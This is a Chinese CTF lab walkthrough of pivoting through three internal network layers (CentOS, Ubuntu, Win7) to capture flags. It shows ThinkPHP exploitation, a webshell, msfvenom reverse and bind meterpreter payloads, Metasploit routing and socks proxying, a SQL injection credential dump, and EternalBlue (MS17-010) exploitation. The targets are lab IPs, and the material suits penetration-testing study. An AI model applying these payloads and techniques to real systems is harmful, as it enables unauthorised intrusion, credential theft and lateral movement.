CFS内网渗透三层内网漫游
三层漫游,ctf获取三个flag。
来源:2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。
壹、网络|环境配置
三层漫游环境(从xiaodisec搬运的):
kali:192.168.1.130
target1:centos:192.168.1.129\192.168.22.129
target2:ubuntu:192.168.22.128\192.168.33.129
target3:win7:192.168.33.33
配置多几块vmnet网卡即可。
参考:https://blog.csdn.net/qq_61237064/article/details/125602997
centos配置宝塔
若不配置的话,后面kali就访问不了80端口,也就是说连门槛都进不了(究其本质就是别人的环境,你在自己的虚拟环境下肯定要自己配)。
宝塔后台登陆地址及密码:
地址:http://192.168.1.129:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
加上你自己的配置的centos的ip。
ubuntu配置宝塔
建议到后面进行target1的内网横向后再返回来配
地址:http://192.168.22.128:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
同上,加上你自己配置的Ubuntu的ip即可。
贰、target1
一、判断存活主机
1 | nmap -sP -sV 192.168.1.0/24 |
扫描结果:
1 | Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-22 21:35 CST |
根据经验,.130是kali、.1是物理机、.129就是centos的外接网卡ip。
二、信息收集
端口扫描
1 | nmap -sT -sC -sV -O 192.168.1.129 -oN nmapscan/detail |
扫描结果
1 | PORT STATE SERVICE VERSION |
目录扫描
偷懒。
二、web渗透
上面配置好宝塔后,访问192.168.1.129,就是一个thinkphp的框架。
这里直接使用exp,可以尝试一下msf,我这里是使用了一下工具。
直接探测到存在漏洞,还直接帮我们上了一个后门,直接连接getflag即可
还有其他两个flag
蚁剑连接后的当前页面,发现在robots.txt、flag21sA.txt存在flag
三、权限提升
拿下webshell后,虚拟终端看一下权限。
标准的webshell权限,尝试提权,方便后续操作,先反弹个shell。
生成木马
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf>1.elf |
设置options
1 | use exploit/multi/handler |
通过webshell上传木马,并在虚拟终端上执行
若没权限运行,赋予权限即可
1 | chmod +x 1.elf |
成功反弹,查看一下当前权限,权限还是不够高。
这里尝试了提权,但好像没有成功,算了,直接内网横向吧。
四、内网横向
信息收集
获取网络接口
1 | run get_local_subnets |
存在22网段,现在我们是在1网段进行沟通,如何访问到22网段呢,先添加路由。
1 | run autoroute -s 192.168.22.0/24 |
现在的会话是session1,是建立在Target1的shell上的,建立路由后可以和22网段进行通信。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?
为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机或者新开一个shell去连接kali的端口,这样就能访问192.168.22.129了
开启代理
在上述基础上
1 | background |
修改以下配置文件,添加代理
1 | vim /etc/proxychains4.conf |
加上自己刚才配置好的代理即可
开好了代理,其实就可以渗透target2了。如还没有配置Ubuntu环境的请配好再继续
叄、target2
一、信息收集
判断存活主机
1 | proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 |
扫描结果:
其中,192.168.22.129为centos的内网网卡ip,那192.168.22.128就是Ubuntu的ip了。
端口扫描
扫目的主机
1 | proxychains4 nmap -sT -Pn 192.168.22.128 |
扫描结果:
1 | Nmap scan report for 192.168.22.128 |
80端口,是一个bagecms的主页。不得不吐槽:加了代理后的扫描速度是真的慢。
目录扫描
可以使用kali扫,建议
也可使用windows扫(安装一个SocksCap64)。
1 | proxychains4 dirb "http://192.168.22.128/" /usr/share/dirb/wordlists/big.txt |
kali扫得太慢了,那就在windows配置好代理后使用御剑扫。如果你和我一样,使用代理后扫得很慢,而且扫完以后,kali上不去index.php别扫了,哎
扫出了robots.txt(养成个习惯,盲猜有robots.txt)。
提示存在sql注入。
二、web渗透
sql注入
根据目录扫描得到的robots.txt,知道存在sql注入,那我直接利用sqlmap注入。
1 | proxychains4 sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --dbs |
后面属实被恶心到了,正常打开浏览网页是ok的,但是一扫描就time out,甚至连正常访问都不行了
正常是可以跑出来后台的登录账号以及密码的。
但是爆数据时出现点小问题,那就手工注入吧。
1 | http://192.168.22.128/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23 |
账号:admin
密码:46f94c8de14fb36680850768ff1b7f2a(md5解密后就是123qwe)
直接登陆即可,登陆地址robots.txt给出,http://192.168.22.128/index.php?r=admini
直接获取到flag2(除此之外还有三个flag,我是真的没想到,建议看文末那篇文章)。
getshell与反弹shell
getshell
在后台翻了一下,发现模板处site的index.php就是我们之前访问的主页面,所以我尝试在此处插入一句话。
蚁剑上代理连接即可
直接获取到flag2
反弹shell
怎么把蚁剑获取到的shell反弹给msf呢?这里要使用正向连接之前是反向连接,即靶机主动把shell会话发给我们;但是这里目的靶机在22网段,它是出不来的但我们能进去。因为我们刚刚开了一段22的路由,所以我们能找到靶机,所以要正向连接
生成正向后门
1 | msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf |
上传并且执行木马。
msf正向连接
1 | use exploit/multi/handler |
成功反弹
先不考虑提权,直接内网横向。
三、内网横向
还是一样的步骤,但这里就比较简单了,不需要自己配置了,只需要输入命令即可。因为已经开好了代理,我们只需要把新的路由规则加上去即可
1 | #获取网络接口: |
至此,三个网段已经杀通了。
肆、target3
一、信息收集
判断存活主机
1 | proxychains4 nmap -Pn -sT 192.168.33.0/24 |
直接发现目标靶机:192.168.33.33
端口扫描
1 | proxychains4 nmap -Pn -sT 192.168.33.33 |
扫描结果:
1 | Nmap scan report for 192.168.33.33 |
发现445端口开着,盲试永恒之蓝。
针对445端口
1 | use exploit/windows/smb/ms17_010_psexec |
直接拿下,system权限。
开一个shell,发现乱码,直接输入
1 | chcp 65001 |
直接正常了。
那就开始找flag了
1 | cd / |
成功获取到flag3了。
伍、总结&吐槽
1、这是我第一次搭建一个内网环境完成实验,虽然说借鉴了许多,但也学到了许多。
2、唯一一个很迷惑的点就是:
渗透target2时,我配置好代理之后,可以正常访问网页,但是利用工具扫描(主要是目录扫描和跑sqlmap)总会显示”**** error or sockstime out”之类的提示,然后打开网页…
访问都不能正常访问了…后面就又重开,重新扫,又timeout……折磨了我一上午…很奇怪的是,nmap判断存活主机,以及扫描目标主机我又在kali实现了
总而言之,扫描target2的目录,和利用sqlmap,都是在物理机上实现的,这也是一个遗憾。又或许是否要对工具进行免杀,上传到target1上对target2进行扫描,这也值得研究。
3、”socks代理有时候玄学,就是这样配置的,但是就是不行。”真的这么玄学?我的亲身经历来看好像就是,配置socks代理后,浏览器也配好了,就是访问不了,又莫名其妙要重开……中间几次差点心态崩了…
4、摸索到的原因:不死心,又扫描,又timeout了,网页在kali又打不开了,等一会又网页正常了,应该是代理不稳定
吧
找flag比较全的:https://zhuanlan.zhihu.com/p/111995050